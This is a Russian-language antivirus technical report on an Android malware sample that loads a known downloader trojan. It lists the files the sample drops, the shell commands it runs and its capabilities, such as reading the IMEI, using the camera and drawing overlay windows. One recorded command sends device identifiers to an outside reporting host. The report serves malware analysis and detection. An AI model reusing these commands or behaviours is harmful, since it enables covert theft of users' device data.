Техническая информация
Вредоносные функции:
Загружает на исполнение код следующих детектируемых угроз:
- Android.DownLoader.252.origin
Изменения в файловой системе:
Создает следующие файлы:
- <Package Folder>/daemon.t.tmp
- <Package Folder>/filesout_qs.apk.tmp
- <Package Folder>/loader.tmp
- <Package Folder>/mix.dex
- <Package Folder>/right_core.jar.tmp
- <Package Folder>/shared_prefs/com.quick.swipe.xml
- <Package Folder>/tx_shell/libshella-2.2.0.so
Другие:
Запускает следующие shell-скрипты:
- chmod 700 <Package Folder>/tx_shell/libshella-2.2.0.so
- chmod 777 <Package Folder>/daemon
- getprop ro.yunos.version
- sh <Package Folder>/daemon -p <Package> -r am startservice --user 0 -n <Package>/cmo.droidan.sya.tenser.FWServi -e key daemon -h http://freport.aa0ab.com:7814/report/allData -m sign=112&imeiNo=&cid=112&v=2.0.2&imei=956e169abe44d1a98e2a306aa70060761517f315&location=unKnow&operator=unknown&l=en&device={ os : 4.3.1 , model : <System Property> , name : <System Property> }&data=[{ bt :6}]&rcode=1&sqlid=1 -i 2036
Загружает динамические библиотеки:
- libshella-2.2.0
- loader
Использует специальную библиотеку для скрытия исполняемого байткода.
Осуществляет доступ к интерфейсу камеры.
Осуществляет доступ к информации о телефоне (номер, imei и тд.).
Осуществляет доступ к информации об установленных приложениях.
Отрисовывает собственные окна поверх других приложений.
